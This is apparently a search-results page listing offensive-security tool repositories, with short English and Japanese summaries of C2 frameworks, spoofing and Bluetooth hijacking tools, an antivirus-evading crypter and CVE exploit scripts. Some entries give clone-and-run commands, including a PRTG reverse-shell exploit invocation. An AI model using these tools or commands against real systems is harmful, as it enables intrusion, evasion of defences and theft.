3298 matches found
mitm
mitm ARPスプーフィングを介してDNSスプーフィングを実行する、シンプルかつ効果的なpython3スクリプト インストール adam@paradise:$ git clone https://github.com/blackeko/mitm/ adam@paradise:$ cd mitm adam@paradise:$ pip3 install -r requirements.txt adam@paradise:$ sudo python3 mitm.py デモ 結果 その他 エンタープライズデジタルインフラストラクチャプロジェクト...
snare
SNARE Super Next generation Advanced Reactive honEypot About SNARE is a web application honeypot sensor attracting all sort of maliciousness from the Internet. Documentation The documentation can be found here. Basic Concepts Surface first. Focus on the attack surface generation. Sensors and...
PoshC2
PoshC2 はプロキシ対応の C2 フレームワークで、ペネトレーションテスターがレッドチーム活動、ポストエクスプロイテーション、ラテラルムーブメントを支援するために使用されます。 PoshC2 は主に Python3 で記述されており、モジュール形式を採用しているため、ユーザーは独自のモジュールやツールを追加でき、拡張可能かつ柔軟な C2 フレームワークとなっています。標準で PoshC2 には PowerShell/C および Python2/Python3 のインプラントが含まれており、ペイロードは PowerShell v2 および v4、C++ および C...
btlejack
BtleJack: a new Bluetooth Low Energy swiss-army knife Btlejack provides everything you need to sniff, jam and hijack Bluetooth Low Energy devices. It relies on one or more BBC Micro:Bit . devices running a dedicated firmware. You may also want to use anAdafruit's Bluefruit LE sniffer or a nRF5182...
pymeta
PyMeta PyMetaは、PowerShellでdafthackによって作成されたツールPowerMetaのPython3によるリライトです。特別に作成された検索クエリを使用して、GoogleとBingのスクレイピングにより、指定されたドメインから以下のファイルタイプ（pdf、xls、xlsx、csv、doc、docx、ppt、pptx ）を識別してダウンロードします。 ダウンロード後、Phil...
DarkSpiritz
DarkSpiritz Python3 LinuxおよびWindowsシステム向けのペネトレーションテスティングフレームワーク。 公式DarkSpiritzリポジトリ。旧組織は不正メンバーによって削除されました。 DarkSpiritzとは？ SynTel...
CVE-2018-9276
CVE-2018-9276 CVE-2018-9276 PRTG 18.2.39 リバースシェル Python3サポート 依存関係 Impacket python3 バージョン Netcat Msfvenom 使用方法 git clone https://github.com/A1vinSmith/CVE-2018-9276.git ./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass 1...
penta
penta PENTest + semi-Automation tool Penta is is Pentest semi-automation tool using Python3. It provides advanced features to extract vuln info found on specific servers. I'm now developing a scanning system using vuln-db. Installation Install requirements penta requires the following packages...
GRAT2
GRAT2 C2 c.-.c c.-.c c.-.c c.-.c c.-.c / .. \ / .. \ / .. \ / .. \ / .. \ \ Y / \ Y / \ Y / \ Y / \ Y / .-/'-'-..-/'-'-..-/'-'-..-/'-'-..-/'-'-. || G || || R || || A || || T || || 2 || .' -' '. .' -' '. .' -' '. .' -' '. .' -' '. .-./-'.-..-./-.-..-./-'.-..-./-'.-..-./-'.-. -' -' -' -' -'...
GodGenesis
God Genesis へようこそ God Genesis は Python3 で純粋にコードされた C2 サーバで、Red Teamer やペネトレーションテスター向けに作成されています。 現在は TCP リバースシェルのみをサポートしていますが、ちょっと待ってください。これは FUD であり、標的の WINDOWS マシンから管理者シェルを取得できます。 サポートしているコマンド一覧: ===================================================================================================...
PickleC2
PickleC2 PickleC2は、ポストエクスプロイテーションとラテラルムーブメントのフレームワークです。 ドキュメント ReadTheDocs 概要 PickleC2は、Python3で書かれたシンプルなC2フレームワークであり、ペネトレーションテスターがレッドチーム演習を行う際にコミュニティを支援するために使用されます。 PickleC2には、ポストエクスプロイテーションとラテラルムーブメントのために独自のPowerShellモジュールをインポートする機能や、そのプロセスを自動化する機能があります。 機能 ベータ版では、PowerShellベースのインプラントが1つ用意されていま...
kubestriker
A Blazing fast Security Auditing tool for kubernetes!! Overview & Journey of Kubestriker Kubestriker is a platform-agnostic tool designed to tackle Kuberenetes cluster security issues due to misconfigurations and will help strengthen the overall IT infrastructure of any organisation. It performs...
dotdotslash
dotdotslash An tool to help you search for Directory Traversal Vulnerabilities Benchmarks Platforms that I tested to validate tool efficiency: DVWA low/medium/high bWAPP low/medium/high Screenshots Instalation You can download the last version cloning this repository git clone...
dotdotslash
dotdotslash ディレクトリトラバーサルの脆弱性を検索するためのツール ベンチマーク ツールの効率を検証するためにテストしたプラットフォーム： DVWA 低/中/高 bWAPP 低/中/高 スクリーンショット インストール このリポジトリをクローンして最新バージョンをダウンロードできます git clone https://github.com/jcesarstef/dotdotslash/ このツールはPython3で動作するように作られています 使い方 python3 dotdotslash.py --help usage: dotdotslash.py -h --url U...
pycrypt
pycrypt Python Based Crypter That Can Bypass Any Kinds Of Antivirus Products Note: If the stub being detected then plz use the following obfuscations:- 1. https://github.com/machine1337/fudcrypt 2. https://github.com/machine1337/pyobfuscate Important: 1. Make Sure your payload file have all the...
CVE-2017-9805-Apache-Struts-Fuzz-N-Sploit
CVE-2017-9805StrutsFuzzNSploit Python3で書いた、ただの酷いスクリプトです。ファジングし、望むならMetasploit経由でエクスプロイトします：CTFなど向けのCVE-2017-9805 RCE。かっこいい連中からパクったthugcrowd DWTFYW Public Licenseに従います =...
golddigger
Gold Digger Search files for gold Gold Digger is a simple tool used to help quickly discover sensitive information in files recursively. Originally written to assist in rapidly searching files obtained during a penetration test. Installation Gold Digger requires Python3. virtualenv -p python3...
jok3r
.. raw:: html .. image:: ./pictures/logo.png .. raw:: html Jok3r v3 beta .. image:: https://img.shields.io/badge/python-3.6-blue.svg :target: https://www.python.org/downloads/release/python-366/ :alt: Python 3.6 .. image:: https://readthedocs.org/projects/jok3r/badge/?version=latest :target:...
Log4Jolokia
Log4Jolokia 説明: Python3で、Jolokia を通じて Log4J の MBeans を活用・悪用するための実装です。 使い方: 一般的なヘルプ: usage: log4jolokia.py -h -u USER -p PASSWD --proxy PROXY -H HEADER execjar,writefile,readfile,execscript execjar,writefile,readfile,execscript ... target target ... positional arguments:...